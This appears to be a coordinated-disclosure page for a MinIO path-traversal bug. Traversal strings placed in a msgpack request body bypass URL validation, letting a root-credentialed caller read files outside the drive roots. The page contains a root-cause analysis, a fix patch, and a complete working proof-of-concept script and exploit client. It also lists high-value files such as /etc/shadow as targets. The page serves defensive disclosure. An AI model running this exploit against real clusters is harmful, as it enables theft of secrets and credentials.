ANT-2026-BRQZSDGZ · minio
path-traversal medium
Severity Claude critical · Security research firm high · Maintainer medium
Discovered by Claude Mythos Preview
Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Doyensec.
ANT-2026-BRQZSDGZ: minio: path-traversal at cmd/xl-storage.go:3194-3218 (sink); cmd/storage-rest-server.go:1287-1326 (handler)
setRequestValidityMiddleware correctly rejects traversal sequences that appear in the URL — the control request /afile?vol=../.. returns 400 XMinioInvalidResourceName. However, the ReadMultiple storage endpoint takes its volume and file names from a msgpack-encoded request body, which the middleware does not examine. By placing ../.. in the msgpack payload, the attacker causes the server to stream back a ReadMultipleResp whose Data field contains the raw bytes of an arbitrary host-filesystem path, demonstrated by exfiltrating /flag (HOSTFS_CANARY_d7f3e9a1b2c4). Baseline check was 0 and post-PoC checks were 1,1,1, confirming reliable out-of-tree reads.
Target
Project: minio
Location: cmd/xl-storage.go:3194-3218 (sink); cmd/storage-rest-server.go:1287-1326 (handler)
Technical Details
check.sh validity — The invariant is real: /flag is written to the host root FS (outside every configured drive /tmp/d{1..4}), and check.sh greps for its canary in the HTTP response body saved to /tmp/stolen. If check.sh exits 1, bytes from outside the MinIO storage root were returned over the wire. Reproduced in-container: baseline=0, post-PoC=1, strings /tmp/stolen shows HOSTFS_CANARY_d7f3e9a1b2c4.
No harness shortcut — The PoC is a single, real-protocol HTTP request:
POST /minio/storage/tmp/d1/v63/rmpl
Authorization: Bearer <HS512 JWT signed with MINIO_ROOT_PASSWORD>
X-Minio-Time: <ns-epoch>
body = msgpack(ReadMultipleReq{Bucket:"../../../../../../../../../../../..", Files:["flag"], MaxSize:1048576})
Nothing calls internal Go functions; curl hits the listening socket. I confirmed the endpoint requires the token: dropping Authorization → HTTP 401.
Backwards call-graph trace (wire → sink):
1. cmd/routers.go:90-91 — when globalIsDistErasure (any multi-node cluster, the standard production topology) → registerDistErasureRouters → registerStorageRESTHandlers.
2. cmd/storage-rest-server.go:1366 — route POST {storageRESTPrefix}/{drivePath}/v63/rmpl → server.ReadMultiple.
3. cmd/storage-rest-server.go:1287-1326 — ReadMultiple handler: s.IsValid(w,r) (auth) → req.DecodeMsg(r.Body) (msgpack) → s.getStorage().ReadMultiple(ctx, req, …).
4. cmd/xl-storage.go:3194-3218 — xlStorage.ReadMultiple: volumeDir := pathJoin(s.drivePath, req.Bucket) then fullPath := pathJoin(volumeDir, req.Prefix, f) → readAllDataWithDMTime(…, fullPath).
5. cmd/xl-storage.go:1757-1766 — readAllDataWithDMTime → OpenFile(filePath, readMode, 0o666) (raw os.OpenFile).
Why traversal survives:
- pathJoin (cmd/object-api-utils.go:268-305) concatenates and then path.Cleans, so /tmp/d1 + "../../…/.." + "flag" → /flag. It is not a root-jail.
- Unlike every sibling method, ReadMultiple does not call s.getVolDir(volume) (cmd/xl-storage.go:787-793, which at least rejects "..") and never calls checkPathLength/hasBadPathComponent.
- The global guard setRequestValidityMiddleware (cmd/generic-handlers.go:365-411) only inspects r.URL.Path and r.Form; the .. is in the msgpack body, so it is never seen. Control experiment in meta confirms the same .. in a query param is rejected 400 — the body path is a genuine bypass of an existing defence.
Config requirements: distributed-erasure mode only (≥2 nodes). Single-node standalone MinIO does not register the route (routers.go:90). No exotic flags; the PoC setup is two vanilla minio server http://… processes.
REACHABLE
The triggering bytes are the msgpack body of the internode storage-REST request. The request is gated by validateStorageRequestToken (cmd/storage-rest-server.go:113-124): an HS512 JWT whose HMAC key is globalActiveCred.SecretKey (= MINIO_ROOT_PASSWORD) and whose accessKey/sub must equal MINIO_ROOT_USER. Empty disk-id is accepted (storage-rest-server.go:188-193), and the endpoint listens on the same public port as the S3 API, so network position is "anyone who can reach the S3 port".
Actors who can mint this token in a realistic deployment: (a) every peer node in the distributed cluster (all share the root creds — see cmd/jwt.go:52-59 authenticateNode), and (b) anyone holding the MinIO root credential. Ordinary S3/IAM users cannot. This is an authenticated, over-the-network primitive whose credential is the cluster-wide root secret — i.e. a compromised node or a MinIO root admin, not an anonymous client.
remote-auth
HIGH — Fully reachable over the real wire protocol with no harness tricks, but strongly authenticated (cluster root JWT), so not CRITICAL. It is a READ primitive: arbitrary host-filesystem file disclosure under the minio process UID. That still crosses a real trust boundary
Reproduction
- Build a msgpack ReadMultiple request with the volume field set to a traversal string (e.g.
../..) and the file entry pointing at the target host path (e.g./flag). - POST the payload to the ReadMultiple storage REST endpoint.
- Receive HTTP 200; unwrap the streamHTTPResponse framing and msgpack-decode the ReadMultipleResp.
- Extract the Data field, which contains the raw bytes of the targeted host file.
[No reproducer or sanitizer output attached — request from cvd@anthropic.com if needed.]
Suggested Fix
(auto-ingested — fix TBD)
Acknowledgement
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-BRQZSDGZ.
Reference: ANT-2026-BRQZSDGZ
Anthropic CVD Policy: https://anthropic.com/security/cvd-policy
Triage and disclosure were performed by Doyensec. The writeup below is the document the firm sent to the maintainer.
- Verdict
- true positive
- Severity
- high
Vulnerability Header
| Field | Value |
|---|---|
| Vulnerability Title | MinIO ReadMultiple storage-REST endpoint: path traversal via msgpack body bypasses setRequestValidityMiddleware |
| Severity Rating | High |
| Bug Category | Path Traversal (CWE-22) — traversal via un-inspected input channel |
| Location | cmd/storage-rest-server.go:1287-1326 (ReadMultiple handler); cmd/xl-storage.go:3194-3218 (xlStorage.ReadMultiple sink) |
| Affected Versions | RELEASE.2025-09-07T16-13-09Z (last published community binary) |
| Related CVE(s) | CVE-2022-35919 (MinIO admin-authenticated path traversal in server-update endpoint, different channel). |
Executive Summary
MinIO's ReadMultiple internode storage-REST endpoint constructs a filesystem path from attacker-controlled Bucket and Files fields decoded from a msgpack request body. The global request-validity middleware rejects .. sequences in the URL and form parameters, but does not inspect request bodies, so traversal sequences placed in msgpack pass through. A caller holding the cluster root JWT (required for all internode traffic) reads file contents from outside the configured drive roots. In hardened bare-metal deployments running MinIO as a non-root service user, the primitive is bounded by the Linux O_NOATIME ownership check and reads files owned by the MinIO UID from anywhere on the filesystem; in containerized deployments running MinIO as UID 0 — the default for the official Docker image and most Helm charts — the primitive is truly arbitrary host-filesystem file disclosure.
Root Cause Analysis
Technical Description
The ReadMultiple handler (cmd/storage-rest-server.go:1287-1326) decodes a msgpack ReadMultipleReq from the HTTP request body and forwards it to the storage driver without validation:
func (s *storageRESTServer) ReadMultiple(w http.ResponseWriter, r *http.Request) {
if !s.IsValid(w, r) { return }
...
var req ReadMultipleReq
mr := msgpNewReader(r.Body)
err := req.DecodeMsg(mr) // Bucket, Prefix, Files, MaxSize, ... from body
...
err = s.getStorage().ReadMultiple(r.Context(), req, responses)
}
The sink in xlStorage.ReadMultiple (cmd/xl-storage.go:3194-3218) joins the attacker-controlled Bucket into the drive root, then opens the resulting path:
volumeDir := pathJoin(s.drivePath, req.Bucket) // ← traversal resolves here
for _, f := range req.Files {
fullPath := pathJoin(volumeDir, req.Prefix, f)
data, mt, err = s.readAllDataWithDMTime(ctx, req.Bucket, volumeDir, fullPath)
}
pathJoin (cmd/object-api-utils.go:268-305) concatenates its arguments and calls path.Clean, which resolves .. components, producing an absolute path anywhere on the filesystem — it is not a root-jail. readAllDataWithDMTime hands the resulting path to a raw os.OpenFile call with no further validation (cmd/xl-storage.go:1757-1766).
Two defences that exist elsewhere in the codebase are not applied on this code path:
- Sibling methods (e.g.
StatInfoFile,ReadFileHandler) calls.getVolDir(volume)(cmd/xl-storage.go:787-793), which rejects any volume containing...ReadMultipleskips this. - The global middleware
setRequestValidityMiddleware(cmd/generic-handlers.go:365-411) rejects..inr.URL.Pathandr.Form. It does not inspect the raw request body, so msgpack-encoded traversal is invisible to it.
First Faulty Condition
| File | cmd/xl-storage.go |
|---|---|
| Line | 3197 |
| Condition | req.Bucket, taken unvalidated from the attacker-controlled msgpack body, is passed to pathJoin(s.drivePath, req.Bucket), allowing .. to resolve the resulting path outside the drive root. The getVolDir guard used by sibling storage methods is not applied here. |
| ## Exploitability Assessment |
Attack Vector & Reachability
| Attack vector | Network. |
|---|---|
| Authentication required | High. Requires an HS512 JWT signed with MINIO_ROOT_PASSWORD and carrying accessKey/sub equal to MINIO_ROOT_USER (cmd/storage-rest-server.go:113-124). Every peer node in the cluster holds this secret; a compromised peer, or any actor in possession of the root credential, can mint one. |
| User interaction required | None. |
| Reachable in default config | Yes. Distributed-erasure mode (≥2 nodes) — the standard production topology. Single-node standalone deployments do not register the route (cmd/routers.go:90-91). No non-default flags required. |
| Entry point(s) | POST body — msgpack-encoded ReadMultipleReq with traversal (..) in the Bucket field, delivered to POST /minio/storage/{drivePath}/v63/rmpl on the storage-REST port (same port as the S3 API). |
The MinIO root credential grants full administrative control over object data, IAM, KMS configuration, replication targets, and notification webhooks — but the admin API does not expose raw filesystem paths outside the configured drive roots. This bug dissolves that boundary. In a hardened bare-metal deployment (User=minio in the systemd unit), the attacker extracts MinIO-owned secrets from anywhere on the filesystem: TLS private keys, KMS/KES key material, systemd credentials, and drives of other tenants sharing the same UID on the host — secrets that persist across cluster credential rotation. In a containerized deployment running MinIO as UID 0 — the historical default for the official Docker image, docker-compose examples in the MinIO docs, and Helm charts without securityContext.runAsNonRoot — the primitive escalates to arbitrary host-filesystem disclosure, reaching /etc/shadow, /root/**, Kubernetes service-account tokens, and cloud-init metadata caches.
Reproduction Steps
Environment
| OS / version | Ubuntu 24.04.4 LTS |
|---|---|
| Compiler / flags | Pre-built binary from https://dl.min.io/server/minio/release/linux-amd64/minio |
| Target version / commit | RELEASE.2025-09-07T16-13-09Z (commit 07c3a429bfed433e49018cb0f78a52145d4bedeb) |
Steps
Reproduction requires a 2-node distributed cluster and a small Go client that mints the HS512 JWT, msgpack-encodes the request, and unwraps MinIO's streamHTTPResponse framing. The attached poc.sh automates the full workflow: it installs prerequisites, downloads the target MinIO binary, provisions per-drive tmpfs mounts, launches a 2-node cluster, plants a canary file outside every drive root (owned by the MinIO process UID), builds the exploit client, runs three tests (two controls and the exploit), and verifies the canary in the response.
sudo ./poc.sh # provision, run all tests, report verdict
sudo ./poc.sh cleanup # tear down cluster, mounts, canary, /etc/hosts entry
The three tests are:
- Control — no Authorization header — confirms the endpoint requires the root JWT.
- Control — traversal in URL query string — confirms
setRequestValidityMiddlewarecatches URL-path traversal. - Exploit — traversal in msgpack body — the bypass under test.
Expected output
[*] ===== TEST 1 (control): no Authorization header — expect HTTP 401 =====
HTTP 401 body-len=17
[+] TEST 1 PASS (endpoint requires root JWT)
[*] ===== TEST 2 (control): traversal in URL query — expect HTTP 400 =====
HTTP 400 ... <Code>XMinioInvalidResourceName</Code> ...
[+] TEST 2 PASS (middleware rejects URL-path traversal)
[*] ===== TEST 3 (exploit): traversal in msgpack body — expect HTTP 200 + canary =====
HTTP 200 body-len=108
unwrapped 102 bytes → /tmp/stolen.unwrapped
--- response msgpack (strings) ---
../..
secret/private.key
MINIO_RMPL_TRAVERSAL_CANARY_d7f3e9a1b2c4
[+] TEST 3 PASS — canary exfiltrated from outside every MinIO drive
[+] =====================================================
[+] VULNERABILITY CONFIRMED
[+] =====================================================
ex=true and the canary contents in the d (Data) field of the decoded ReadMultipleResp confirm that a file outside every configured MinIO drive was read over the wire.
Recommended Fix
-
Validate inputs at the handler boundary, matching the pattern used by every other storage-REST method. In
xlStorage.ReadMultiple(cmd/xl-storage.go:3194), replace the directpathJoin(s.drivePath, req.Bucket)with a call tos.getVolDir(req.Bucket), which already rejects".."and other bad components. ApplycheckPathLength(fullPath)andhasBadPathComponent(req.Prefix, f)before thereadAllDataWithDMTimecall. -
Defence in depth at the sink. After computing
fullPath, confirm it is still rooted ats.drivePath:go clean := filepath.Clean(fullPath) if !strings.HasPrefix(clean+string(os.PathSeparator), s.drivePath+string(os.PathSeparator)) { return errFileAccessDenied } -
Broader hardening. Extend
setRequestValidityMiddlewareto parse msgpack bodies on storage-REST routes and reject".."in any string field, or introduce a serializer-level invariant thatvolume/prefix/filenamefields never contain traversal components. This would close the same gap for any future handlers added to thev6*storage-REST family.
Patch provenance: AI-generated + Human-reviewed
References
- CWE-22 — Improper Limitation of a Pathname to a Restricted Directory
- CVE-2022-35919 — MinIO admin-authenticated path traversal in server-update endpoint (same class, different channel)
- CVE-2023-28432 — MinIO distributed-mode environment-variable disclosure (usable upstream to recover
MINIO_ROOT_PASSWORDrequired here)
Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.
For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research
Attachment: diff.patch
cmd/xl-storage.go | 13 ++++++++++++-
1 file changed, 13 insertions(+), 1 deletion(-)
diff --git a/cmd/xl-storage.go b/cmd/xl-storage.go
--- a/cmd/xl-storage.go
+++ b/cmd/xl-storage.go
@@ -3194,12 +3194,21 @@ func (s *xlStorage) ReadMultiple(ctx context.Context, req ReadMultipleReq, resp
func (s *xlStorage) ReadMultiple(ctx context.Context, req ReadMultipleReq, resp chan<- ReadMultipleResp) error {
defer xioutil.SafeClose(resp)
- volumeDir := pathJoin(s.drivePath, req.Bucket)
+ volumeDir, err := s.getVolDir(req.Bucket)
+ if err != nil {
+ return err
+ }
+ if hasBadPathComponent(req.Prefix) {
+ return errInvalidArgument
+ }
found := 0
for _, f := range req.Files {
if contextCanceled(ctx) {
return ctx.Err()
}
+ if hasBadPathComponent(f) {
+ return errInvalidArgument
+ }
r := ReadMultipleResp{
Bucket: req.Bucket,
Prefix: req.Prefix,
@@ -3210,6 +3219,9 @@ func (s *xlStorage) ReadMultiple(ctx context.Context, req ReadMultipleReq, resp
var mt time.Time
fullPath := pathJoin(volumeDir, req.Prefix, f)
+ if err := checkPathLength(fullPath); err != nil {
+ return err
+ }
w := xioutil.NewDeadlineWorker(globalDriveConfig.GetMaxTimeout())
if err := w.Run(func() (err error) {
if req.MetadataOnly {
Attachment: poc.sh
#!/usr/bin/env bash
# MinIO ReadMultiple msgpack-body path traversal
#
# Automated end-to-end reproduction. Provisions a 2-node distributed MinIO
# cluster, plants a canary file outside every drive root, and exercises three
# tests:
# (1) control — no Authorization header -> 401
# (2) control — traversal in URL query string -> 400 (middleware rejects)
# (3) exploit — traversal in msgpack body -> 200 with file contents
#
# Usage:
# sudo ./poc.sh # provision + run + verify
# sudo ./poc.sh cleanup # tear down cluster, mounts, canary, /etc/hosts
#
# Target: RELEASE.2025-09-07T16-13-09Z (final published MinIO community binary).
# Tested on Ubuntu 24.04 LTS.
set -euo pipefail
MINIO_URL="https://dl.min.io/server/minio/release/linux-amd64/minio"
MINIO_BIN="/usr/local/bin/minio"
ROOT_USER="minioadmin"
ROOT_PASS="supersecretpassword123"
CANARY="MINIO_RMPL_TRAVERSAL_CANARY_d7f3e9a1b2c4"
SECRET_DIR="/srv/secret"
SECRET_FILE="${SECRET_DIR}/private.key"
DRIVES=(n1d1 n1d2 n2d1 n2d2)
MINIO_USER="${SUDO_USER:-ubuntu}"
WORK="/tmp/minio-rmpl-poc"
EXPLOIT_DIR="${WORK}/minioxp"
log() { printf '\033[1;34m[*]\033[0m %s\n' "$*"; }
ok() { printf '\033[1;32m[+]\033[0m %s\n' "$*"; }
warn() { printf '\033[1;33m[!]\033[0m %s\n' "$*"; }
die() { printf '\033[1;31m[x]\033[0m %s\n' "$*" >&2; exit 1; }
require_root() { [[ $EUID -eq 0 ]] || die "run as root (use sudo)"; }
cleanup() {
log "stopping MinIO processes"
pkill -9 -f "minio server" 2>/dev/null || true
sleep 2
log "unmounting drive tmpfs"
for d in "${DRIVES[@]}"; do
umount "/srv/minio/${d}" 2>/dev/null || true
done
rm -rf /srv/minio "${SECRET_DIR}" "${WORK}" /tmp/minio[12].log /tmp/stolen* 2>/dev/null || true
sed -i '/minio1 minio2/d' /etc/hosts 2>/dev/null || true
ok "cleanup complete"
}
install_deps() {
log "installing prerequisites (golang-go, curl)"
export DEBIAN_FRONTEND=noninteractive
apt-get update -qq
apt-get install -y -qq golang-go curl >/dev/null
command -v go >/dev/null || die "go not installed"
}
fetch_minio() {
if [[ -x "${MINIO_BIN}" ]]; then
log "MinIO already present: $(${MINIO_BIN} --version 2>&1 | head -1)"
return
fi
log "downloading MinIO binary"
curl -fsSL -o "${MINIO_BIN}" "${MINIO_URL}"
chmod +x "${MINIO_BIN}"
ok "installed $(${MINIO_BIN} --version 2>&1 | head -1)"
}
setup_hosts() {
grep -q "minio1 minio2" /etc/hosts || {
log "adding loopback aliases minio1/minio2 to /etc/hosts"
echo "127.0.0.1 minio1 minio2" >> /etc/hosts
}
}
setup_drives() {
log "mounting per-drive tmpfs (each drive is its own filesystem — mirrors separate EBS volumes)"
for d in "${DRIVES[@]}"; do
mkdir -p "/srv/minio/${d}"
mountpoint -q "/srv/minio/${d}" || mount -t tmpfs -o size=512m,mode=0755 tmpfs "/srv/minio/${d}"
chown "${MINIO_USER}:${MINIO_USER}" "/srv/minio/${d}"
done
}
plant_canary() {
log "planting canary outside every MinIO drive (owned by the MinIO process UID: ${MINIO_USER})"
mkdir -p "${SECRET_DIR}"
chown "${MINIO_USER}:${MINIO_USER}" "${SECRET_DIR}"
printf '%s\n' "${CANARY}" > "${SECRET_FILE}"
chown "${MINIO_USER}:${MINIO_USER}" "${SECRET_FILE}"
chmod 0644 "${SECRET_FILE}"
for m in /srv/minio/n*; do
[[ -e "${m}/private.key" ]] && die "canary leaked into ${m}; aborting"
done
ok "canary at ${SECRET_FILE} (outside every MinIO drive)"
}
launch_cluster() {
log "launching 2-node distributed MinIO cluster as ${MINIO_USER}"
pkill -9 -f "minio server" 2>/dev/null || true
sleep 1
rm -f /tmp/minio1.log /tmp/minio2.log
local args="http://minio1:9001/srv/minio/n1d1 http://minio1:9001/srv/minio/n1d2 http://minio2:9002/srv/minio/n2d1 http://minio2:9002/srv/minio/n2d2"
sudo -u "${MINIO_USER}" setsid env \
MINIO_ROOT_USER="${ROOT_USER}" \
MINIO_ROOT_PASSWORD="${ROOT_PASS}" \
MINIO_BROWSER=off \
bash -c "exec ${MINIO_BIN} server --address :9001 ${args}" </dev/null >/tmp/minio1.log 2>&1 &
sudo -u "${MINIO_USER}" setsid env \
MINIO_ROOT_USER="${ROOT_USER}" \
MINIO_ROOT_PASSWORD="${ROOT_PASS}" \
MINIO_BROWSER=off \
bash -c "exec ${MINIO_BIN} server --address :9002 ${args}" </dev/null >/tmp/minio2.log 2>&1 &
for _ in $(seq 1 15); do
if curl -sf -o /dev/null http://minio1:9001/minio/health/live 2>/dev/null \
&& curl -sf -o /dev/null http://minio2:9002/minio/health/live 2>/dev/null; then
ok "cluster healthy (both nodes live)"
return
fi
sleep 1
done
tail -30 /tmp/minio1.log /tmp/minio2.log
die "cluster did not become healthy within 15s"
}
build_exploit() {
log "building exploit client"
mkdir -p "${EXPLOIT_DIR}"
cat > "${EXPLOIT_DIR}/go.mod" <<'GOMOD'
module minioxp
go 1.22
require (
github.com/golang-jwt/jwt/v5 v5.2.1
github.com/tinylib/msgp v1.2.4
)
GOMOD
cat > "${EXPLOIT_DIR}/main.go" <<'GOSRC'
package main
import (
"bytes"
"encoding/binary"
"errors"
"flag"
"fmt"
"io"
"net/http"
"os"
"strconv"
"time"
jwt "github.com/golang-jwt/jwt/v5"
"github.com/tinylib/msgp/msgp"
)
func mintToken(ak, sk string) (string, error) {
claims := jwt.MapClaims{
"accessKey": ak,
"sub": ak,
"exp": time.Now().Add(time.Hour).Unix(),
}
return jwt.NewWithClaims(jwt.SigningMethodHS512, claims).SignedString([]byte(sk))
}
func encodeReq(bucket string, files []string, maxSize int64) []byte {
var buf bytes.Buffer
w := msgp.NewWriter(&buf)
w.WriteMapHeader(3)
w.WriteString("bk"); w.WriteString(bucket)
w.WriteString("fl"); w.WriteArrayHeader(uint32(len(files)))
for _, f := range files { w.WriteString(f) }
w.WriteString("ms"); w.WriteInt64(maxSize)
w.Flush()
return buf.Bytes()
}
// unwrap MinIO streamHTTPResponse framing: tag byte then payload.
// 0x00: done 0x01: error (text to EOF)
// 0x02: data block (4-byte LE length + bytes) 0x20: keepalive filler
func unwrap(r io.Reader) ([]byte, error) {
var out bytes.Buffer
var tag [1]byte
for {
if _, err := io.ReadFull(r, tag[:]); err != nil {
if err == io.EOF { return out.Bytes(), nil }
return out.Bytes(), err
}
switch tag[0] {
case 0:
io.Copy(io.Discard, r); return out.Bytes(), nil
case 1:
e, _ := io.ReadAll(r); return out.Bytes(), errors.New(string(e))
case 2:
var ln [4]byte
if _, err := io.ReadFull(r, ln[:]); err != nil { return out.Bytes(), err }
length := binary.LittleEndian.Uint32(ln[:])
if _, err := io.CopyN(&out, r, int64(length)); err != nil { return out.Bytes(), err }
case 32:
continue
default:
return out.Bytes(), fmt.Errorf("unexpected framing byte: 0x%02x", tag[0])
}
}
}
func main() {
target := flag.String("target", "http://minio1:9001", "")
drive := flag.String("drive", "/srv/minio/n1d1", "")
ak := flag.String("ak", "minioadmin", "")
sk := flag.String("sk", "supersecretpassword123", "")
bucket := flag.String("bucket", "../..", "")
file := flag.String("file", "secret/private.key", "")
noAuth := flag.Bool("no-auth", false, "drop Authorization header")
urlT := flag.Bool("url-traversal", false, "put traversal in URL query")
out := flag.String("out", "/tmp/stolen", "")
flag.Parse()
token, err := mintToken(*ak, *sk); if err != nil { panic(err) }
var req *http.Request
if *urlT {
u := fmt.Sprintf("%s/minio/storage%s/v63/rmpl?vol=%s&file-path=afile", *target, *drive,
"../../../../../../../../../../..")
req, _ = http.NewRequest("POST", u, nil)
} else {
payload := encodeReq(*bucket, []string{*file}, 1048576)
req, _ = http.NewRequest("POST", fmt.Sprintf("%s/minio/storage%s/v63/rmpl", *target, *drive),
bytes.NewReader(payload))
}
if !*noAuth {
req.Header.Set("Authorization", "Bearer "+token)
req.Header.Set("X-Minio-Time", strconv.FormatInt(time.Now().UnixNano(), 10))
}
resp, err := http.DefaultClient.Do(req); if err != nil { panic(err) }
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
fmt.Printf("HTTP %d body-len=%d\n", resp.StatusCode, len(body))
os.WriteFile(*out, body, 0o644)
if resp.StatusCode == 200 {
u, uerr := unwrap(bytes.NewReader(body))
if uerr != nil { fmt.Printf("stream-error: %v\n", uerr) }
os.WriteFile(*out+".unwrapped", u, 0o644)
fmt.Printf("unwrapped %d bytes → %s.unwrapped\n", len(u), *out)
} else {
n := len(body); if n > 400 { n = 400 }
fmt.Printf("body: %s\n", string(body[:n]))
}
}
GOSRC
chown -R "${MINIO_USER}:${MINIO_USER}" "${WORK}"
sudo -u "${MINIO_USER}" bash -c "cd ${EXPLOIT_DIR} && go mod tidy >/dev/null 2>&1 && go build -o minioxp ."
ok "exploit client built: ${EXPLOIT_DIR}/minioxp"
}
run_tests() {
local exe="${EXPLOIT_DIR}/minioxp"
local fail=0
echo
log "===== TEST 1 (control): no Authorization header — expect HTTP 401 ====="
sudo -u "${MINIO_USER}" "${exe}" -no-auth -out /tmp/stolen.noauth || true
if grep -q 'JWT token missing' /tmp/stolen.noauth 2>/dev/null; then
ok "TEST 1 PASS (endpoint requires root JWT)"
else
warn "TEST 1 unexpected — see above"; fail=1
fi
echo
log "===== TEST 2 (control): traversal in URL query — expect HTTP 400 ====="
sudo -u "${MINIO_USER}" "${exe}" -url-traversal -out /tmp/stolen.urlcontrol || true
if grep -q 'XMinioInvalidResourceName' /tmp/stolen.urlcontrol 2>/dev/null; then
ok "TEST 2 PASS (middleware rejects URL-path traversal)"
else
warn "TEST 2 unexpected — see above"; fail=1
fi
echo
log "===== TEST 3 (exploit): traversal in msgpack body — expect HTTP 200 + canary ====="
sudo -u "${MINIO_USER}" "${exe}" \
-bucket "../.." -file "secret/private.key" -out /tmp/stolen
echo
echo "--- response msgpack (strings) ---"
strings /tmp/stolen.unwrapped 2>/dev/null | sed 's/^/ /'
echo
if grep -q "${CANARY}" /tmp/stolen.unwrapped 2>/dev/null; then
ok "TEST 3 PASS — canary exfiltrated from outside every MinIO drive"
ok " canary-value : ${CANARY}"
ok " canary-source : ${SECRET_FILE}"
ok " drive roots : /srv/minio/n{1,2}d{1,2} (canary is NOT under any of these)"
else
warn "TEST 3 FAIL — canary not present in response"; fail=1
fi
echo
if [[ $fail -eq 0 ]]; then
ok "====================================================="
ok " VULNERABILITY CONFIRMED"
ok " MinIO ${MINIO_BIN##*/} — $(${MINIO_BIN} --version 2>&1 | head -1 | awk '{print $3}')"
ok "====================================================="
ok "Run: sudo $0 cleanup # to tear down"
else
die "one or more tests did not produce the expected result — see above"
fi
}
main() {
require_root
if [[ "${1:-}" == "cleanup" ]]; then cleanup; exit 0; fi
install_deps
fetch_minio
setup_hosts
setup_drives
plant_canary
launch_cluster
build_exploit
run_tests
}
main "$@"
Dates from discovery through public reveal.
- 2026-04-12 Reported to tracker
- 2026-05-05 Patch released
- 2026-05-07 Sent to maintainer
- 2026-05-20 Publicly revealed
SHA-3-512 hash:
cd34ead134540b9ec9509b987370c159897bd2fc5ee0ea7edbb4a563cc64937dc905942dd38373ec163fde1a3941046f909d41c6d63187ad18babde4b5f7d085
Committed 2026-05-07 00:07 PT
Revealed 2026-05-20 00:40 PT
Verify (download preimage.json)
Show preimage JSON
{
"ant_id": "ANT-2026-BRQZSDGZ",
"bug_class": "path-traversal",
"claude_severity": "critical",
"commit_sha": null,
"created_at": "2026-04-12T06:56:47+00:00",
"description": "setRequestValidityMiddleware correctly rejects traversal sequences that appear in the URL — the control request `/afile?vol=../..` returns 400 XMinioInvalidResourceName. However, the ReadMultiple storage endpoint takes its volume and file names from a msgpack-encoded request body, which the middleware does not examine. By placing `../..` in the msgpack payload, the attacker causes the server to stream back a ReadMultipleResp whose Data field contains the raw bytes of an arbitrary host-filesystem path, demonstrated by exfiltrating `/flag` (HOSTFS_CANARY_d7f3e9a1b2c4). Baseline check was 0 and post-PoC checks were 1,1,1, confirming reliable out-of-tree reads.",
"discovered_at": null,
"location": "cmd/xl-storage.go:3194-3218 (sink); cmd/storage-rest-server.go:1287-1326 (handler)",
"poc_sha256": null,
"preimage_version": 1,
"project": "minio",
"reproduction": [
"1. Build a msgpack ReadMultiple request with the volume field set to a traversal string (e.g. `../..`) and the file entry pointing at the target host path (e.g. `/flag`).",
"2. POST the payload to the ReadMultiple storage REST endpoint.",
"3. Receive HTTP 200; unwrap the streamHTTPResponse framing and msgpack-decode the ReadMultipleResp.",
"4. Extract the Data field, which contains the raw bytes of the targeted host file."
],
"technical_details": "<reachability>\n**check.sh validity** — The invariant is real: `/flag` is written to the host root FS (outside every configured drive `/tmp/d{1..4}`), and `check.sh` greps for its canary in the HTTP response body saved to `/tmp/stolen`. If `check.sh` exits 1, bytes from outside the MinIO storage root were returned over the wire. Reproduced in-container: baseline=0, post-PoC=1, `strings /tmp/stolen` shows `HOSTFS_CANARY_d7f3e9a1b2c4`.\n\n**No harness shortcut** — The PoC is a single, real-protocol HTTP request:\n```\nPOST /minio/storage/tmp/d1/v63/rmpl\nAuthorization: Bearer <HS512 JWT signed with MINIO_ROOT_PASSWORD>\nX-Minio-Time: <ns-epoch>\nbody = msgpack(ReadMultipleReq{Bucket:\"../../../../../../../../../../../..\", Files:[\"flag\"], MaxSize:1048576})\n```\nNothing calls internal Go functions; `curl` hits the listening socket. I confirmed the endpoint requires the token: dropping `Authorization` → HTTP 401.\n\n**Backwards call-graph trace (wire → sink):**\n1. `cmd/routers.go:90-91` — when `globalIsDistErasure` (any multi-node cluster, the standard production topology) → `registerDistErasureRouters` → `registerStorageRESTHandlers`.\n2. `cmd/storage-rest-server.go:1366` — route `POST {storageRESTPrefix}/{drivePath}/v63/rmpl` → `server.ReadMultiple`.\n3. `cmd/storage-rest-server.go:1287-1326` — `ReadMultiple` handler: `s.IsValid(w,r)` (auth) → `req.DecodeMsg(r.Body)` (msgpack) → `s.getStorage().ReadMultiple(ctx, req, …)`.\n4. `cmd/xl-storage.go:3194-3218` — `xlStorage.ReadMultiple`: `volumeDir := pathJoin(s.drivePath, req.Bucket)` then `fullPath := pathJoin(volumeDir, req.Prefix, f)` → `readAllDataWithDMTime(…, fullPath)`.\n5. `cmd/xl-storage.go:1757-1766` — `readAllDataWithDMTime` → `OpenFile(filePath, readMode, 0o666)` (raw `os.OpenFile`).\n\n**Why traversal survives:**\n- `pathJoin` (`cmd/object-api-utils.go:268-305`) concatenates and then `path.Clean`s, so `/tmp/d1` + `\"../../…/..\"` + `\"flag\"` → `/flag`. It is not a root-jail.\n- Unlike every sibling method, `ReadMultiple` **does not** call `s.getVolDir(volume)` (`cmd/xl-storage.go:787-793`, which at least rejects `\"..\"`) and never calls `checkPathLength`/`hasBadPathComponent`.\n- The global guard `setRequestValidityMiddleware` (`cmd/generic-handlers.go:365-411`) only inspects `r.URL.Path` and `r.Form`; the `..` is in the msgpack **body**, so it is never seen. Control experiment in meta confirms the same `..` in a query param is rejected 400 — the body path is a genuine bypass of an existing defence.\n\n**Config requirements:** distributed-erasure mode only (≥2 nodes). Single-node standalone MinIO does not register the route (`routers.go:90`). No exotic flags; the PoC setup is two vanilla `minio server http://…` processes.\n\nREACHABLE\n</reachability>\n\n<trust_boundary>\nThe triggering bytes are the msgpack body of the internode storage-REST request. The request is gated by `validateStorageRequestToken` (`cmd/storage-rest-server.go:113-124`): an HS512 JWT whose HMAC key is `globalActiveCred.SecretKey` (= `MINIO_ROOT_PASSWORD`) and whose `accessKey`/`sub` must equal `MINIO_ROOT_USER`. Empty `disk-id` is accepted (`storage-rest-server.go:188-193`), and the endpoint listens on the same public port as the S3 API, so network position is \"anyone who can reach the S3 port\".\n\nActors who can mint this token in a realistic deployment: (a) every peer node in the distributed cluster (all share the root creds — see 